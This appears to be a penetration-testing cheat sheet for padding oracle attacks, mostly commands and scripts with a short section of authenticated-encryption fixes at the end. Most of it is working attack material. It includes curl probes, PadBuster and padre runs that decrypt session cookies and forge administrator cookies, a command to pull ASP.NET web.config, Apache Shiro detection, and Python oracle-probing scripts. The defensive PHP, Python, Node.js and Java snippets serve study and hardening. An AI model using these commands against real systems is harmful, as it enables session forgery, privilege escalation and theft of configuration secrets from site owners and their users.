Padding Oracle Attacks#

# Step 1 — Capture baseline (valid ciphertext)
curl -s -o baseline.html -w "%{http_code}" \
  -b "auth=RVJDQrwUdTRWJUVUeBKkEA==" \
  https://target.com/dashboard

# Step 2 — Flip last byte of ciphertext (Base64 decode → modify → re-encode)
python3 -c "
import base64
ct = base64.b64decode('RVJDQrwUdTRWJUVUeBKkEA==')
ct = bytearray(ct)
ct[-1] ^= 0x01           # flip last byte
print(base64.b64encode(bytes(ct)).decode())
"
# → modified token

# Step 3 — Submit modified token
curl -s -o modified.html -w "%{http_code}" \
  -b "auth=<modified_token>" \
  https://target.com/dashboard

# Compare: different status code or body = oracle confirmed
diff baseline.html modified.html

# Decrypt a session cookie (Base64, block size 8)
padbuster http://target.com/index.php \
  "RVJDQrwUdTRWJUVUeBKkEA==" 8 \
  -encoding 0 \
  -cookies "auth=RVJDQrwUdTRWJUVUeBKkEA=="

# If the padding error message is known, specify it explicitly
padbuster http://target.com/index.php \
  "RVJDQrwUdTRWJUVUeBKkEA==" 8 \
  -encoding 0 \
  -cookies "auth=RVJDQrwUdTRWJUVUeBKkEA==" \
  -error "Invalid padding"

# Hex-encoded ciphertext (block size 16, lowercase hex encoding)
padbuster "http://target.com/echo?cipher=6b664ef0359fe233e021ad36b12d8e32" \
  "6b664ef0359fe233e021ad36b12d8e32" 16 \
  -encoding 1

# Decrypt to confirm current plaintext: "user=regularuser"
# Then re-encrypt with forged value: "user=administrator"
padbuster http://target.com/index.php \
  "RVJDQrwUdTRWJUVUeBKkEA==" 8 \
  -encoding 0 \
  -cookies "auth=RVJDQrwUdTRWJUVUeBKkEA==" \
  -plaintext "user=administrator"
# Output: new ciphertext that decrypts to "user=administrator"
# Submit this as the auth cookie → logged in as administrator

# padre — modern Go-based tool with auto-fingerprinting
# Decrypt
padre -u 'https://target.com/profile' \
  -cookie 'SESS=$' \
  'Gw3kg8e3ej4ai9wffn/d0uRqKzyaPfM2UFq/8dWmoW4wnyKZhx07Bg=='

# Encrypt arbitrary plaintext (privilege escalation)
padre -u 'https://target.com/profile' \
  -cookie 'SESS=$' \
  -enc '{"user_id": 1, "is_admin": true}'
# Submit output cookie → admin access

# Identify WebResource.axd ciphertext from page HTML source
# Look for: <script src="/WebResource.axd?d=<ciphertext>&t=...">

# Decrypt the WebResource parameter
padbuster "http://target.com/WebResource.axd?d=CIPHERTEXT&t=TIMESTAMP" \
  "CIPHERTEXT" 16 \
  -encoding 3 \
  -noiv

# Retrieve web.config (requires .NET 3.5 SP1+)
padbuster "http://target.com/ScriptResource.axd?d=CIPHERTEXT&t=TIMESTAMP" \
  "CIPHERTEXT" 16 \
  -encoding 3 \
  -plaintext "~/web.config"

# Detect Shiro by response header (send any rememberMe value to trigger it)
curl -s -I -b "rememberMe=1" https://target.com/ | grep -i "rememberMe=deleteMe"
# If rememberMe=deleteMe appears in Set-Cookie → Shiro detected

# Confirm CBC padding oracle
python3 shiro_padding_oracle.py --url https://target.com/login \
  --cookie "rememberMe=<captured_cookie>"

# Decrypt the rememberMe cookie
padbuster https://target.com/ "<rememberMe_value>" 16 \
  -encoding 0 \
  -cookies "rememberMe=<rememberMe_value>"

import requests, time, base64, statistics

def timing_oracle(url, cookie_name, ciphertext):
    times = []
    for _ in range(5):    # average over 5 samples to reduce noise
        ct = bytearray(base64.b64decode(ciphertext))
        ct[-1] ^= 0x01    # flip last byte
        modified = base64.b64encode(bytes(ct)).decode()

        start = time.time()
        requests.get(url, cookies={cookie_name: modified})
        times.append(time.time() - start)

    return statistics.mean(times)

# Compare against the timing of the *unmodified* (valid) ciphertext:
invalid_time = timing_oracle('https://target.com/', 'session', 'VALID_CIPHERTEXT')
# If the modified ciphertext is consistently faster/slower than the valid one → timing oracle
print(f"Average response time with invalid padding: {invalid_time:.3f}s")

# Valid ciphertext
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=RVJDQrwUdTRWJUVUeBKkEA==" https://target.com/
# → 200

# Tampered ciphertext (decode → XOR 0x01 on last byte → re-encode; see §1)
# Do NOT edit the Base64 text directly — changing padding chars alters the
# decoded length and produces a length error rather than a clean byte flip.
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=<modified_token>" https://target.com/
# → 500  ← oracle confirmed

# Compare content length between valid and tampered ciphertext
valid_len=$(curl -s -b "session=VALID" https://target.com/ | wc -c)
tampered_len=$(curl -s -b "session=TAMPERED" https://target.com/ | wc -c)
echo "Valid: $valid_len | Tampered: $tampered_len"
# Different lengths = oracle confirmed

# padre — auto-fingerprints oracle and attempts decryption
padre -u 'https://target.com/page' \
  -cookie 'auth=$' \
  'ENCRYPTED_COOKIE_VALUE'
# padre automatically detects valid vs invalid padding responses
# and reports if a padding oracle is exploitable

# PadBuster auto-analysis mode — samples all response types
padbuster https://target.com/page "CIPHERTEXT" 8 \
  -encoding 0 \
  -cookies "auth=CIPHERTEXT"
# PadBuster presents response analysis table:
# Response 1: HTTP 200, Length 4821  ← valid padding
# Response 2: HTTP 500, Length 312   ← invalid padding
# Confirm ID: 2 → attack begins

# Custom oracle probe — test all 256 last-byte values, map responses
import requests, base64

url = 'https://target.com/'
cookie_name = 'session'
valid_ct = base64.b64decode('RVJDQrwUdTRWJUVUeBKkEA==')

results = {}
for i in range(256):
    ct = bytearray(valid_ct)
    ct[-1] = i
    modified = base64.b64encode(bytes(ct)).decode()
    r = requests.get(url, cookies={cookie_name: modified})
    results[i] = (r.status_code, len(r.content))

# Count distinct response signatures
signatures = set(results.values())
print(f"Distinct responses: {len(signatures)}")
# 1 distinct response = no oracle
# 2 distinct responses = oracle confirmed (valid vs invalid padding)

   // PHP — XSalsa20-Poly1305 via libsodium (built-in since PHP 7.2)
   $key   = sodium_crypto_secretbox_keygen();            // 32-byte random key
   $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); // 24-byte nonce
   $ciphertext = sodium_crypto_secretbox($plaintext, $nonce, $key);
   // Decrypt + verify in one call:
   $plaintext  = sodium_crypto_secretbox_open($ciphertext, $nonce, $key);
   if ($plaintext === false) { throw new Exception("Decryption failed"); }

   # Python — AES-128-CBC + HMAC-SHA256 (authenticated; safe against padding oracles)
   from cryptography.fernet import Fernet
   key   = Fernet.generate_key()
   f     = Fernet(key)
   token = f.encrypt(b"plaintext")       # encrypt + authenticate
   data  = f.decrypt(token)              # verify MAC then decrypt — raises on tamper

   # Alternative: XSalsa20-Poly1305 via PyNaCl (true AEAD)
   from nacl import secret, utils
   key = utils.random(secret.SecretBox.KEY_SIZE)
   box = secret.SecretBox(key)
   encrypted = box.encrypt(b"plaintext")
   plaintext = box.decrypt(encrypted)

   // Node.js — AES-256-GCM via Web Crypto API
   // globalThis.crypto is a global since Node 19+ (stable in 20);
   // on Node 15–18 use: const { webcrypto } = require('crypto'); then webcrypto.subtle / webcrypto.getRandomValues
   const { subtle, getRandomValues } = globalThis.crypto;
   const key = await subtle.generateKey({ name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']);
   const iv  = getRandomValues(new Uint8Array(12));  // 96-bit IV — do not reuse with same key
   const ciphertext = await subtle.encrypt({ name: 'AES-GCM', iv }, key, plaintext);
   // Auth tag is appended to ciphertext automatically; verified on decrypt
   const plaintext  = await subtle.decrypt({ name: 'AES-GCM', iv }, key, ciphertext);

   // Java — AES-256-GCM
   SecretKey key = KeyGenerator.getInstance("AES").generateKey(); // use 256-bit key in prod
   byte[] iv = new byte[12];
   new SecureRandom().nextBytes(iv);
   Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
   cipher.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
   byte[] ciphertext = cipher.doFinal(plaintext);
   // Auth tag (16 bytes) is appended; decryption throws AEADBadTagException on tamper